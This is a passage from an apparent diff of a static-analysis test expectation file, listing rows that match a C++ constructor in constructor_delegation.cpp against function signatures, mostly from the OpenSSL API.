(BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_find_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_set_init | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_set_retry_reason | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_set_shutdown | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | TXT_DB_read | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DH *,int) | | DH_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DH *,int) | | DH_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DSA *,int) | | DSA_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DSA *,int) | | DSA_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA *,int) | | RSA_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA *,int) | | RSA_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_key_update | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_read_ahead | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_security_level | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_shutdown | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_verify_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | ssl_md | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509 *,int) | | X509_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509 *,int) | | X509_self_signed | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (acttab *,int) | | acttab_insert | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (char *,int) | | PEM_proc_type | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (char,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const BIGNUM *,int) | | BN_get_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const BIO *,int) | | BIO_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const BIO *,int) | | BIO_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DH *,int) | | DH_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DH *,int) | | DH_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DH *,int) | | ossl_dh_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DSA *,int) | | DSA_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DSA *,int) | | DSA_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DSA *,int) | | ossl_dsa_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const RSA *,int) | | RSA_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const RSA *,int) | | RSA_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const RSA *,int) | | ossl_rsa_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SSL *,int) | | SSL_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const UI *,int) | | UI_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509 *,int) | | X509_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509 *,int) | | X509_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (const XCHAR *,int) | CStringT | CStringT | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (const YCHAR *,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | DH_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | DSA_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | Jim_StrDupLen | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | RSA_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | parse_yesno | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const unsigned char *,int) | | 